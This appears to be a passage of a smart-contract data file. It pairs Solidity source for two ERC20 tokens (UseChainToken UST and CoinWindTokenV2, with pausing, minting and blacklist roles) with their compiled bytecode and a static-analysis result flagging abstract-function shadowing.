if(!_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) {
revert();
}
return true;
}
/// @notice Send `_value` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _value The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address _from, address _to, uint256 _value) public canTransfer releaseTokenValid(msg.sender, now, _value) returns (bool success) {
require (balances[_from] >= _value); // Throw if sender does not have enough balance
require (balances[_to] + _value >= balances[_to]); // Throw if overflow detected
require (_value <= allowances[_from][msg.sender]); // Throw if you do not have allowance
balances[_from] -= _value; // Deduct senders balance
balances[_to] += _value; // Add recipient balance
allowances[_from][msg.sender] -= _value; // Deduct allowance for this address
emit Transfer(_from, _to, _value); // Raise Transfer event
return true;
}
/// @dev This function makes it easy to read the `allowances[]` map
/// @param _owner The address of the account that owns the token
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of _owner that _spender is allowed to spend
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowances[_owner][_spender];
}
}
contract UST is Owned, standardToken {
string constant public name = "UseChainToken";
string constant public symbol = "UST";
uint constant public decimals = 18;
uint256 public totalSupply = 0;
uint256 constant public topTotalSupply = 2 * 10**10 * 10**decimals;
uint public forSaleSupply = percent(topTotalSupply, 45);
uint public marketingPartnerSupply = percent(topTotalSupply, 5);
uint public coreTeamSupply = percent(topTotalSupply, 15);
uint public technicalCommunitySupply = percent(topTotalSupply, 15);
uint public communitySupply = percent(topTotalSupply, 20);
uint public softCap = percent(topTotalSupply, 30);
function () public {
revert();
}
/// @dev Owner can change the releaseStartTime when needs
/// @param _time The releaseStartTime, UTC timezone
function setRealseTime(uint256 _time) public onlyOwner {
releaseStartTime = _time;
}
/// @dev This owner allocate token for private sale
/// @param _owners The address of the account that owns the token
/// @param _values The amount of tokens
/// @param _addrLockType The locktype for different investment type
function allocateToken(address[] _owners, uint256[] _values, uint256[] _addrLockType) public onlyOwner {
require ((_owners.length == _values.length) && ( _values.length == _addrLockType.length));
for(uint i = 0; i < _owners.length ; i++){
uint256 value = _values[i] * 10 ** decimals;
totalSupply = totalSupply.add(value);
balances[_owners[i]] = balances[_owners[i]].add(value); // Set minted coins to target
emit Transfer(0x0, _owners[i], value);
userReleaseToken[_owners[i]].UST = userReleaseToken[_owners[i]].UST.add(value);
userReleaseToken[_owners[i]].addrLockType = _addrLockType[i];
}
}
/// @dev This owner allocate token for candy airdrop
/// @param _owners The address of the account that owns the token
/// @param _values The amount of tokens
function allocateCandyToken(address[] _owners, uint256[] _values) public onlyOwner {
for(uint i = 0; i < _owners.length ; i++){
uint256 value = _values[i] * 10 ** decimals;
totalSupply = totalSupply.add(value);
balances[_owners[i]] = balances[_owners[i]].add(value);
emit Transfer(0x0, _owners[i], value);
}
}
} | 0x60606040526004361061015b5763ffffffff60e060020a60003504166306fdde03811461016b578063095ea7b3146101f557806316f0ec721461022b57806318160ddd1461024557806323b872dd1461026a57806327e235e314610292578063313ce567146102b157806349b2f5ff146102c457806355b6ed5c146102d757806363a599a4146102fc5780636bff19011461030f57806370a082311461032257806385c09f26146103415780638da5cb5b146103545780638e9e8b1414610383578063906a26e01461039657806395d89b41146103a95780639c37d47d146103bc578063a6f9dae1146103f3578063a9059cbb14610412578063ac56f98014610434578063af13f1ad1461044a578063c34f783d1461045d578063c6e6ab031461052c578063cae9ca51146105bb578063dd62ed3e14610620578063e97d87d514610645578063f05a781d14610658578063fcceea261461066b575b341561016657600080fd5b600080fd5b341561017657600080fd5b61017e61067e565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101ba5780820151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020057600080fd5b610217600160a060020a03600435166024356106b5565b604051901515815260200160405180910390f35b341561023657600080fd5b6102436004351515610721565b005b341561025057600080fd5b61025861074f565b60405190815260200160405180910390f35b341561027557600080fd5b610217600160a060020a0360043581169060243516604435610755565b341561029d57600080fd5b610258600160a060020a03600435166108f6565b34156102bc57600080fd5b610258610908565b34156102cf57600080fd5b61025861090d565b34156102e257600080fd5b610258600160a060020a0360043581169060243516610913565b341561030757600080fd5b610217610930565b341561031a57600080fd5b610258610939565b341561032d57600080fd5b610258600160a060020a036004351661093f565b341561034c57600080fd5b61025861095a565b341561035f57600080fd5b61036761096a565b604051600160a060020a03909116815260200160405180910390f35b341561038e57600080fd5b610258610979565b34156103a157600080fd5b61025861097f565b34156103b457600080fd5b61017e610985565b34156103c757600080fd5b6103db600160a060020a03600435166109bc565b60405191825260208201526040908101905180910390f35b34156103fe57600080fd5b610217600160a060020a03600435166109d5565b341561041d57600080fd5b610217600160a060020a0360043516602435610a3c565b341561043f57600080fd5b610243600435610b65565b341561045557600080fd5b610258610b85565b341561046857600080fd5b61024360046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610b8b95505050505050565b341561053757600080fd5b610243600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610d7a95505050505050565b34156105c657600080fd5b61021760048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610e7a95505050505050565b341561062b57600080fd5b610258600160a060020a0360043581169060243516610fc0565b341561065057600080fd5b610258610feb565b341561066357600080fd5b610217610ff1565b341561067657600080fd5b61025861109b565b60408051908101604052600d81527f557365436861696e546f6b656e00000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260086020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005433600160a060020a0390811691161461073c57600080fd5b6006805460ff1916911515919091179055565b60095481565b60065460009060ff161561076857600080fd5b33600160a060020a0381166000908152600760205260409020600101544290849080156107f6576107c261079d8585846110a1565b600160a060020a0386166000908152600760205260409020549063ffffffff6111cc16565b600160a060020a0385166000908152600360205260409020546107eb908463ffffffff6111cc16565b10156107f657600080fd5b600160a060020a0388166000908152600360205260409020548690101561081c57600080fd5b600160a060020a038716600090815260036020526040902054868101101561084357600080fd5b600160a060020a038089166000908152600860209081526040808320339094168352929052205486111561087657600080fd5b600160a060020a03808916600081815260036020908152604080832080548c900390558b851680845281842080548d01905584845260088352818420339096168452949091529081902080548a900390556000805160206112ff8339815191529089905190815260200160405180910390a3506001979650505050505050565b60036020526000908152604090205481565b601281565b600d5481565b600860209081526000928352604080842090915290825290205481565b60065460ff1681565b600c5481565b600160a060020a031660009081526003602052604090205490565b6b409f9cbc7c4a04c22000000081565b600054600160a060020a031681565b600b5481565b600f5481565b60408051908101604052600381527f5553540000000000000000000000000000000000000000000000000000000000602082015281565b6007602052600090815260409020805460019091015482565b6000805433600160a060020a039081169116146109f157600080fd5b600054600160a060020a0383811691161415610a0c57600080fd5b5060018054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116178155919050565b60065460009060ff1615610a4f57600080fd5b33600160a060020a038116600090815260076020526040902060010154429084908015610ab857610a8461079d8585846110a1565b600160a060020a038516600090815260036020526040902054610aad908463ffffffff6111cc16565b1015610ab857600080fd5b600160a060020a03331660009081526003602052604090205486901015610ade57600080fd5b600160a060020a0387166000908152600360205260409020548681011015610b0557600080fd5b600160a060020a0333811660008181526003602052604080822080548b90039055928a168082529083902080548a019055916000805160206112ff8339815191529089905190815260200160405180910390a35060019695505050505050565b60005433600160a060020a03908116911614610b8057600080fd5b600455565b600a5481565b60008054819033600160a060020a03908116911614610ba957600080fd5b83518551148015610bbb575082518451145b1515610bc657600080fd5b600091505b8451821015610d7357670de0b6b3a7640000848381518110610be957fe5b9060200190602002015160095491029150610c0a908263ffffffff6111de16565b600955610c518160036000888681518110610c2157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff6111de16565b60036000878581518110610c6157fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055848281518110610c9157fe5b90602001906020020151600160a060020a031660006000805160206112ff8339815191528360405190815260200160405180910390a3610cdb8160076000888681518110610c2157fe5b60076000878581518110610ceb57fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828281518110610d1b57fe5b9060200190602002015160076000878581518110610d3557fe5b90602001906020020151600160a060020a0316600160a060020a03168152602001908152602001600020600101819055508180600101925050610bcb565b5050505050565b60008054819033600160a060020a03908116911614610d9857600080fd5b600091505b8351821015610e7457670de0b6b3a7640000838381518110610dbb57fe5b9060200190602002015160095491029150610ddc908263ffffffff6111de16565b600955610df38160036000878681518110610c2157fe5b60036000868581518110610e0357fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055838281518110610e3357fe5b90602001906020020151600160a060020a031660006000805160206112ff8339815191528360405190815260200160405180910390a3600190910190610d9d565b50505050565b6000610e8684846106b5565b5083600160a060020a03166040517f72656365697665417070726f76616c28616464726573732c75696e743235362c81527f616464726573732c6279746573290000000000000000000000000000000000006020820152602e01604051809103902060e060020a9004338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a03168152602001828051906020019080838360005b83811015610f65578082015183820152602001610f4d565b50505050905090810190601f168015610f925780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610fb657600080fd5b5060019392505050565b600160a060020a03918216600090815260086020908152604080832093909416825291909152205490565b60045481565b60015460009033600160a060020a0390811691161461100f57600080fd5b6000546001547fa6348c80a3dfb1c2603f5c35480c5bd8afc0656ad83dc6b520b648cb286d541791600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a150600180546000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0390921691909117905590565b600e5481565b60008060006110bb600454866111cc90919063ffffffff16565b91506110c784836111f4565b9050836001141561113157600160a060020a0386166000908152600760205260409020546111059061110083601963ffffffff6112ac16565b6112d0565b600160a060020a0387166000908152600760205260409020546111299060196112d0565b0192506111c3565b836002141561116857600160a060020a0386166000908152600760205260409020546111059061110083601963ffffffff6112ac16565b836003141561016657600160a060020a03861660009081526007602052604090205461119f9061110083600f63ffffffff6112ac16565b600160a060020a03871660009081526007602052604090205461112990600a6112d0565b50509392505050565b6000828211156111d857fe5b50900390565b6000828201838110156111ed57fe5b9392505050565b600080600080856001141561124057611229600c61121d600554886112e790919063ffffffff16565b9063ffffffff6112e716565b92506003831061123857600392505b8293506112a3565b85600214156112745760055461125d90869063ffffffff6112e716565b91506003821061126c57600391505b8193506112a3565b85600314156101665760055461129190869063ffffffff6112e716565b90506006811061129f575060065b8093505b50505092915050565b60008282028315806112c857508284828115156112c557fe5b04145b15156111ed57fe5b60006111ed606461121d848663ffffffff6112ac16565b60008082848115156112f557fe5b049493505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582078115256c53361a66138c437ed8b5e6fb896bb393c309d9a82c8a5b2ee85be670029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}} | 9,975 |
0xd6860c96b5e1452811573b499d0c6aeddada4f23 | /**
*Submitted for verification at hecoinfo.com on 2021-02-03
*/
pragma solidity ^0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
// function renounceOwnership() public onlyOwner {
// emit OwnershipTransferred(_owner, address(0));
// _owner = address(0);
// }
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract PauserRole is Ownable {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyOwner {
_addPauser(account);
}
function removePauser(address account) public onlyOwner {
_removePauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
event Issue(address indexed account, uint256 amount);
event Redeem(address indexed account, uint256 value);
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _issue(address account, uint256 amount) internal {
require(account != address(0), "CoinFactory: issue to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
emit Issue(account, amount);
}
function _redeem(address account, uint256 value) internal {
require(account != address(0), "CoinFactory: redeem from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
emit Redeem(account, value);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract CoinFactoryAdminRole is Ownable {
using Roles for Roles.Role;
event CoinFactoryAdminRoleAdded(address indexed account);
event CoinFactoryAdminRoleRemoved(address indexed account);
Roles.Role private _coinFactoryAdmins;
constructor () internal {
_addCoinFactoryAdmin(msg.sender);
}
modifier onlyCoinFactoryAdmin() {
require(isCoinFactoryAdmin(msg.sender), "CoinFactoryAdminRole: caller does not have the CoinFactoryAdmin role");
_;
}
function isCoinFactoryAdmin(address account) public view returns (bool) {
return _coinFactoryAdmins.has(account);
}
function addCoinFactoryAdmin(address account) public onlyOwner {
_addCoinFactoryAdmin(account);
}
function removeCoinFactoryAdmin(address account) public onlyOwner {
_removeCoinFactoryAdmin(account);
}
function renounceCoinFactoryAdmin() public {
_removeCoinFactoryAdmin(msg.sender);
}
function _addCoinFactoryAdmin(address account) internal {
_coinFactoryAdmins.add(account);
emit CoinFactoryAdminRoleAdded(account);
}
function _removeCoinFactoryAdmin(address account) internal {
_coinFactoryAdmins.remove(account);
emit CoinFactoryAdminRoleRemoved(account);
}
}
contract CoinFactory is ERC20, CoinFactoryAdminRole {
function issue(address account, uint256 amount) public onlyCoinFactoryAdmin returns (bool) {
_issue(account, amount);
return true;
}
function redeem(address account, uint256 amount) public returns (bool) {
require(msg.sender == account || isCoinFactoryAdmin(msg.sender), "CoinFactoryAdminRole: only address onwer or CoinFactoryAdmin can redeem");
_redeem(account, amount);
return true;
}
}
contract BlacklistAdminRole is Ownable {
using Roles for Roles.Role;
event BlacklistAdminAdded(address indexed account);
event BlacklistAdminRemoved(address indexed account);
Roles.Role private _blacklistAdmins;
constructor () internal {
_addBlacklistAdmin(msg.sender);
}
modifier onlyBlacklistAdmin() {
require(isBlacklistAdmin(msg.sender), "BlacklistAdminRole: caller does not have the BlacklistAdmin role");
_;
}
function isBlacklistAdmin(address account) public view returns (bool) {
return _blacklistAdmins.has(account);
}
function addBlacklistAdmin(address account) public onlyOwner {
_addBlacklistAdmin(account);
}
function removeBlacklistAdmin(address account) public onlyOwner {
_removeBlacklistAdmin(account);
}
function renounceBlacklistAdmin() public {
_removeBlacklistAdmin(msg.sender);
}
function _addBlacklistAdmin(address account) internal {
_blacklistAdmins.add(account);
emit BlacklistAdminAdded(account);
}
function _removeBlacklistAdmin(address account) internal {
_blacklistAdmins.remove(account);
emit BlacklistAdminRemoved(account);
}
}
contract Blacklist is ERC20, BlacklistAdminRole {
mapping (address => bool) private _blacklist;
event BlacklistAdded(address indexed account);
event BlacklistRemoved(address indexed account);
function isBlacklist(address account) public view returns (bool) {
return _blacklist[account];
}
function addBlacklist(address[] memory accounts) public onlyBlacklistAdmin returns (bool) {
for(uint i = 0; i < accounts.length; i++) {
_addBlacklist(accounts[i]);
}
}
function removeBlacklist(address[] memory accounts) public onlyBlacklistAdmin returns (bool) {
for(uint i = 0; i < accounts.length; i++) {
_removeBlacklist(accounts[i]);
}
}
function _addBlacklist(address account) internal {
_blacklist[account] = true;
emit BlacklistAdded(account);
}
function _removeBlacklist(address account) internal {
_blacklist[account] = false;
emit BlacklistRemoved(account);
}
}
contract CoinWindTokenV2 is ERC20, ERC20Pausable, CoinFactory, Blacklist {
string public name;
string public symbol;
uint8 public decimals;
uint256 private _totalSupply;
address public polygon;
constructor (string memory _name, string memory _symbol, uint8 _decimals) public {
_totalSupply = 0;
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function setPolygon(address _polygon) public onlyOwner {
polygon = _polygon;
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
require(!isBlacklist(msg.sender), "Token: caller in blacklist can't transfer");
require(!isBlacklist(to), "Token: not allow to transfer to recipient address in blacklist");
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
require(!isBlacklist(msg.sender), "Token: caller in blacklist can't transferFrom");
require(!isBlacklist(from), "Token: from in blacklist can't transfer");
require(!isBlacklist(to), "Token: not allow to transfer to recipient address in blacklist");
return super.transferFrom(from, to, value);
}
/**
* @notice called when token is deposited on root chain
* @dev Should be callable only by ChildChainManager
* Should handle deposit by minting the required amount for user
* Make sure minting is done only by this function
* @param user user address for whom deposit is being done
* @param depositData abi encoded amount
*/
function deposit(address user, bytes calldata depositData) external {
require(msg.sender == polygon, "not allow");
require(!isBlacklist(user), "Token: not allow to transfer to recipient address in blacklist");
uint256 amount = abi.decode(depositData, (uint256));
_issue(user, amount);
}
/**
* @notice called when user wants to withdraw tokens back to root chain
* @dev Should burn user's tokens. This transaction will be verified when exiting on root chain
* @param amount amount of tokens to withdraw
*/
function withdraw(uint256 amount) external {
require(!isBlacklist(msg.sender), "Token: caller in blacklist can't transfer");
_redeem(msg.sender, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106102325760003560e01c80636ef8d66d11610130578063998b4792116100b8578063cf7d6db71161007c578063cf7d6db714610c9a578063d3ce790514610cf6578063dd62ed3e14610d3a578063e5c855c914610db2578063f2fde38b14610df657610232565b8063998b479214610aa7578063a457c2d714610aeb578063a9059cbb14610b51578063b8c97ded14610bb7578063cf2c52cb14610c0157610232565b80638456cb59116100ff5780638456cb5914610948578063867904b4146109525780638da5cb5b146109b85780638f32d59b14610a0257806395d89b4114610a2457610232565b80636ef8d66d146107d257806370a08231146107dc5780637911ef9d1461083457806382dc1ec41461090457610232565b806332068e91116101be5780633f4ba83a116101825780633f4ba83a146106c257806346fbf68e146106cc5780635c975abb146107285780635e612bab1461074a5780636b2c0f551461078e57610232565b806332068e91146104e2578063333e99db146104ec57806333b7ff4e14610548578063395093511461058c5780633d2cc56c146105f257610232565b80631e9a6950116102055780631e9a69501461039a57806323b872dd14610400578063243f2473146104865780632e1a7d4d14610490578063313ce567146104be57610232565b806306fdde0314610237578063095ea7b3146102ba57806316d2e6501461032057806318160ddd1461037c575b600080fd5b61023f610e3a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561027f578082015181840152602081019050610264565b50505050905090810190601f1680156102ac5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610306600480360360408110156102d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ed8565b604051808215151515815260200191505060405180910390f35b6103626004803603602081101561033657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f6f565b604051808215151515815260200191505060405180910390f35b610384610f8c565b6040518082815260200191505060405180910390f35b6103e6600480360360408110156103b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f96565b604051808215151515815260200191505060405180910390f35b61046c6004803603606081101561041657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611040565b604051808215151515815260200191505060405180910390f35b61048e6111f6565b005b6104bc600480360360208110156104a657600080fd5b8101908080359060200190929190505050611201565b005b6104c661126d565b604051808260ff1660ff16815260200191505060405180910390f35b6104ea611280565b005b61052e6004803603602081101561050257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061128b565b604051808215151515815260200191505060405180910390f35b61058a6004803603602081101561055e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e1565b005b6105d8600480360360408110156105a257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061139f565b604051808215151515815260200191505060405180910390f35b6106a86004803603602081101561060857600080fd5b810190808035906020019064010000000081111561062557600080fd5b82018360208201111561063757600080fd5b8035906020019184602083028401116401000000008311171561065957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611436565b604051808215151515815260200191505060405180910390f35b6106ca6114d4565b005b61070e600480360360208110156106e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611634565b604051808215151515815260200191505060405180910390f35b610730611651565b604051808215151515815260200191505060405180910390f35b61078c6004803603602081101561076057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611668565b005b6107d0600480360360208110156107a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ee565b005b6107da611774565b005b61081e600480360360208110156107f257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061177f565b6040518082815260200191505060405180910390f35b6108ea6004803603602081101561084a57600080fd5b810190808035906020019064010000000081111561086757600080fd5b82018360208201111561087957600080fd5b8035906020019184602083028401116401000000008311171561089b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506117c8565b604051808215151515815260200191505060405180910390f35b6109466004803603602081101561091a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611866565b005b6109506118ec565b005b61099e6004803603604081101561096857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a4d565b604051808215151515815260200191505060405180910390f35b6109c0611ac1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610a0a611aea565b604051808215151515815260200191505060405180910390f35b610a2c611b41565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a6c578082015181840152602081019050610a51565b50505050905090810190601f168015610a995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610ae960048036036020811015610abd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bdf565b005b610b3760048036036040811015610b0157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c65565b604051808215151515815260200191505060405180910390f35b610b9d60048036036040811015610b6757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611cfc565b604051808215151515815260200191505060405180910390f35b610bbf611e51565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610c9860048036036040811015610c1757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610c5457600080fd5b820183602082011115610c6657600080fd5b80359060200191846001830284011164010000000083111715610c8857600080fd5b9091929391929390505050611e77565b005b610cdc60048036036020811015610cb057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fce565b604051808215151515815260200191505060405180910390f35b610d3860048036036020811015610d0c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611feb565b005b610d9c60048036036040811015610d5057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612071565b6040518082815260200191505060405180910390f35b610df460048036036020811015610dc857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120f8565b005b610e3860048036036020811015610e0c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061217e565b005b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ed05780601f10610ea557610100808354040283529160200191610ed0565b820191906000526020600020905b815481529060010190602001808311610eb357829003601f168201915b505050505081565b6000600560009054906101000a900460ff1615610f5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b610f678383612204565b905092915050565b6000610f8582600761221b90919063ffffffff16565b9050919050565b6000600354905090565b60008273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610fd75750610fd633611fce565b5b61102c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260478152602001806136dc6047913960600191505060405180910390fd5b61103683836122f9565b6001905092915050565b6000600560009054906101000a900460ff16156110c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6110ce3361128b565b15611124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d8152602001806138c3602d913960400191505060405180910390fd5b61112d8461128b565b15611183576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806136b56027913960400191505060405180910390f